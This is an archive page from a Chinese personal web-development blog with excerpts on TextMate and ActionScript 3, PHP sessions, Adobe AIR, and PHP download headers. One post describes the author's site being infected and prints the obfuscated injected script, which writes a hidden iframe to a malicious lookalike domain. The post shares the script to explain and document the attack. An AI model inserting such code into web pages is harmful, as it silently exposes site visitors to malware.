存档: ‘程序们’ 分类

TextMate 开发AS3应用

3 条评论 2010年2月24日

记得08年flashplayer10刚出来的时候,我看到过一个视频(http://www.gotoandlearn.com/play?id=74) ,Adobe的人就是用Textmate开发的Flash。 他是用Flex SDK里面的mxmlc命令编译的。当年我还用Mac OS的Automation功能做了一个应用程序,功能是把AS文件拖动到上面就自动给你编译成swf文件。

今年再回头看的时候,发现其实有更简单的方法。那就是用TextMate的Actionscript3 Bundle:http://blog.simongregory.com/10/textmate-actionscript-3-and-flex-bundles/。然后我就尝试去配置这个环境,结果发现还很不容易。 下面把我的过程跟大家分享一下:

  1. 当然你要有一台Mac
  2. 你得先安装 TextMate。
  3. 安装上面提到过的actionscript 3 bundle。
  4. 到http://www.adobe.com/cfusion/entitlement/index.cfm?e=flex3sdk 下载flex sdk
  5. 将sdk解压,放到一个方便找到的位置
  6. 然后打开Textmate->prefrences->advanced->shell variables,添加一个PATH变量,值是你的flex sdk里bin的位置,比如:/Developer/SDK/flex_sdk_3.5/bin。 如果已经存在PATH变量,那么请不要改动原来的数据,在原来数据的后面加冒号(:),然后再加上bin目录的位置。
  7. 同样是在Shell Variables里面,添加一个LC_ALL变量,值是en_US.UTF-8。因为我发现flex会根据系统语言来显示错误信息,但是显示出来的是乱码,所以还是统一用英文的错误信息算了
  8. 打开flex sdk的目录,进入frameworks,编辑flex-config.xml,把<target-player>9xxx</target-player>替换成<target-player>10.0.0</target-player>

然后就爽把,新建一个as文件,写一些东西,然后按苹果键+B,就会自动调用mxmlc编译你的as文件,生成swf。

当然actionscript3 bundle的功能还有很多,自己去发觉吧~

[原创]PHP实现类似ASP里的Application对象

15 条评论 2010年1月21日

以前搞过一段时间的asp,觉得application这个对象很爽。。可以很容易的写一个聊天室。。。后来逐渐转到php,就一直为这事郁闷。。因为php里面没有对应的东西。数据只能往数据库或者文件里面写才能实现共享。 今天在公司做聊天室的时候,灵机一动,居然让我发现了一神奇的方法~~哈哈:

PHP里面的$_SESSION变量可以实现类似Application的功能,但重点在它不能跨浏览器进程,或者说是跨用户。。只能是单个用户操作不同页面时候的变量传递,是一种cookie的替代方案。

众所周知,php里,调用session_start()之后,客户浏览器会收到一个大概名叫PHPSESSID的cookie,这个叫session_id。不同页面的参数共享就是靠这个变量实现的。

有时,由于客户端浏览器或者其他什么神奇的原因,导致无法正常发送 PHPSESSID的时候,我们可以手动发送,然后在php里面的session_start();之前,调用session_id(”sessionid在这里”);手工指定session_id ,这样,就可以让session工作正常。(比如浏览器不支持cookie,或用flash上传文件的时候)

好了,关键的东西来了。 继续阅读…

用HTML+Javascript开发AIR桌面程序

11 条评论 2009年11月7日

    早就听说Adobe Air可以用HTML+Javascript的方式来开发,但是直到前不就才开始研究学习。做了几个air的小程序,其中遇到了很多困难。Air的资料网上比较少。所以遇到问题有时候真不知道怎么办。

    其中一个问题是弹出提示窗口(屏幕右下角或者右上角那种提示性的临时窗口),不知道怎么调整大小和位置。找了好多资料,后来终于明白了。弹出窗口的代码如下:

var options = new air.NativeWindowInitOptions();
options.systemChrome = "none"; //取消系统窗口外框
options.type = "lightweight"; //轻量级窗口
options.transparent = true; //允许透明
var bounds = new air.Rectangle(100,200,100,100); 

var newHTMLLoader = air.HTMLLoader.createRootWindow(true, options, true, bounds);
newHTMLLoader.load(new air.URLRequest("notify.html"));
newHTMLLoader.stage.nativeWindow.alwaysInFront = true; //窗口始终置顶

上面这段代码会在屏幕的左上方(x:100,y:200)创建一个宽高都是100px的HTML窗口,内容是notify.html。
    其中,newHTMLLoader.window 可以访问到新建的窗口。可以预先定义一些函数,供窗口加载完后调用。比如:

newHTMLLoader.window.on_load = function()
{
     alert('loaded!');
}

然后在notify.html页面里面写上 window.onload = on_load; 就可以了。

    而控制窗口宽高、位置的对象是newHTMLLoader.stage.nativeWindow 。可以通过设置这个对象的 x,y,width,height(而不是我们通常认为的left,top,width,height)属性来改变窗口的长宽和位置。 在nofity.html里对应的对象是window.nativeWindow。

    nativeWindow貌似是ActionScript里面的比较常用的东西。不过对我们这种没有研究过AS的人来说,不容易想到控制位置是用x和y,而不是left和top。。。。。。

    下面说下开发AIR程序比开发WEB程序爽的地方:

  • 在应用程序沙箱中的代码可以任意跨域访问!而且更爽的是AIR会自动保存和处理Cookie,也就是说我可以用AJAX来模拟登录,之后可以直接用AJAX取登录后才能取得的内容而不用担心Cookie!真是太神奇了!
  • AIR采用Webkit引擎,不用担心跨操作系统的兼容性。最多是字体显示稍微不同而已。而且可以使用大部分的JS框架,比如JQuery!
  • AIR支持部分CSS3! 其中比较爽的是可以很容易的实现圆角效果,颜色可以使用RGBA(第四个参数是透明度)。好处是我们可以很容易的制作一个背景半透明,但是内容不透明的圆角提示窗口~~(例如:-webkit-border-radius:5px; background-color:rgba(20%,20%,20%,0.8); )
  • 支持JS进行文件读取等本地操作,支持本地SQL等。。

发布AIR应用程序:空气域名查询。

13 条评论 2009年10月26日

    最近对Adobe 的Air技术非常感兴趣。 有了这种技术,我们以后就能很轻易的把B/S程序扩展到桌面,成为C/S程序!

    下面是我的第一个AIR应用程序:空气域名查询。 “空气”二字源于 Air。 主要功能是快速查询某个域名是否被注册。输入一串字符串,选中下面的后缀,程序会自动查询对应的域名。 当然你也可以自定义查询任意后缀,如果想这样,只需要输入完整的域名即可(当然,不包含www)。比如:当我输入longbill,并选中com,和net。那么程序会自动查询longbill.com和longbill.net。如果我输入longbill.la,那么程序只会查询longbill.la。

下面是截图:
空气域名查询

    此外,我还在尝试做一些附加功能,比如whois查询和域名收藏(方便以后从收藏的域名中找出最好的)。现在只实现了在新窗口种查询whois,实现方式也很机械:调用http://who.is/longbill.cn的网页内容。

    如果你对此程序感兴趣,可以点击这里下载。 不过,前提是你的电脑上有Adobe Air 运行环境。如果没有,你可以去这里安装。

最强大的编辑器:Textmate !

3 条评论 2009年10月25日

用Textmate已经有一年多了。但是一直以来都只是把它当作一个文本编辑器来用的。没有用什么高级功能。仅仅知道bundle可以实现代码补全。今天看到Textmate Bundle里面有一个TODO,很好奇。于是打开一看,有几个标签,但是没什么内容。我还以为是普通的todo list 。但是事实远不止如此。潜心研究了一番,甚至看了todo bundle的源代码。下面为大家介绍一下: 继续阅读…

做了一个山寨的Omegle。。chendian.net

20 条评论 2009年9月30日

由于最近omegle很火。于是就想copy一个到国内。 正好我以前做过聊天室~哈哈。2天就搞定了。 先是在学校内部测试,修正了一些bug 。然后就放到外网。 因为聊天过程中会建立很多长连接。所以把服务器上的apache换成了nginx。希望能扛得住那么多的并发。

域名: http://chendian.net 沉淀时光。

网站的功能是跟一个陌生人聊天,随机配对。而且是只能2个人聊。不是传统的聊天室。

Chendian.net

Chendian.net

关于PHP输出文件给浏览器下载时的编码问题

4 条评论 2009年8月1日

    做文件管理器的时候会遇到让PHP输出一个文件给浏览器下载。我们都知道要发一下一些header:


$filename = "下载文件名";
$filesize = filesize('文件地址'); //获得文件大小
header('Pragma: public');
header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: application/force-download');
header('Content-Disposition: attachment; filename="'.$filename.'"');
header('Content-length: '.$filesize);

然后再用readfile把文件内容输出给浏览器。但是会遇到一个很烦的问题:弹出文件下载框时,显示的文件名在不同的浏览器下面是不一样的。有的是乱码,有的是空白。 为了解决这个问题,我找了查了很多资料。最终找到一个好的解决办法:

文件名统一使用utf-8编码,然后针对ie浏览器进行一次rawurlencode编码。
比如:
if (preg_match(’/MSIE/’,$_SERVER['HTTP_USER_AGENT'])) $filename = rawurlencode($filename);
这样在不同操作系统,不同浏览器里面,下载文件的时候,中文文件名都能正确显示了。
测试通过:Safari4(MAC) ,Firefox3.5(MAC), Firefox3(Win), IE7/8(Win), Chrome(Win)

空间被大面积挂马。

20 条评论 2009年7月9日

最近莫名其妙的博客打不开,一查,发现用作跳转的index.php被加了东西。是一个iframe的马。那段php代码还有错误,汗~~所以造成无法跳转。后来经过调查,发现这个马的一些特征:

一般感染只感染 index.php , main.php, login.php, index.html。
核心代码类似:
<script>document.write("<"+'if'+''+'ra'+''+"me"+' sr'+"c=\"ht"+'t'+"p:"+''+"/"+''+'/mic'+"roso"+"tf"+''+'.c'+''+"n"+'/'+"\" wid"+''+"th=1 h"+"eigh"+''+'t'+"="+"2></i"+''+"fr"+"a"+''+""+''+"me"+'>');</script><script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');</script>

可以看到iframe的页面指向 microsotf.cn (不用惊恐,不是microsoft~~)。Google这个网页,发现这个网页是俄罗斯的。报告有2个病毒。现在已经无法访问了。
现在一时也查不到中招的原因。只有写个脚本修复被修改的文件吧。。。

今天才弄清楚alt属性和title属性的区别

5 条评论 2009年1月28日

    原来alt属性只适用与img标签,是在不能显示图片或者图片还没有加载完成的时候用来替换图片的文字,不宜太长。而title标签适用于绝大部分标签,以tool tip方式为浏览者提供更多的信息。

    在ie和早期的safari浏览器里面,会错误的把img标签的alt属性处理成title,这样的做法让很多开发者(其中包括以前的我)认为图片的tool tip就应该用alt~~

    不过从seo角度来说,貌似很多搜索引擎都只认图片的alt属性,而且google只认有链接的图片的alt属性。 继续阅读…

Flash + Javascript 让网页元素发光 的插件 glow!

9 条评论 2008年11月6日

作者:Longbill ( www.longbill.cn ) longbill.cn [@] gmail.com
现在测试通过: IE6 IE7 Firefox3 Opera Safari(Mac) Chrome
2008-11-6

    前两天突发奇想,能不能让网页上的元素很容易的发光?结果正好发现flash里面有这样的滤镜。于是就硬着头皮写了个flash,实现了发光flash的动态生成。再结合javascript实现定位,把发光的flash放到真实的dom后面。于是神奇的事情就发生了。。。

    这个插件可以很容易的实现网页元素的发光或者阴影效果!目前只支持矩形发光效果,文字发光还在探索中。。。。

    源文件下载地址:JS Flash(右键另存为)

先看效果:

继续阅读…

视觉系火星播报河蟹娱乐朝花夕拾牛人很牛灰太狼软白沙八月洗澡火影那些事儿热豆腐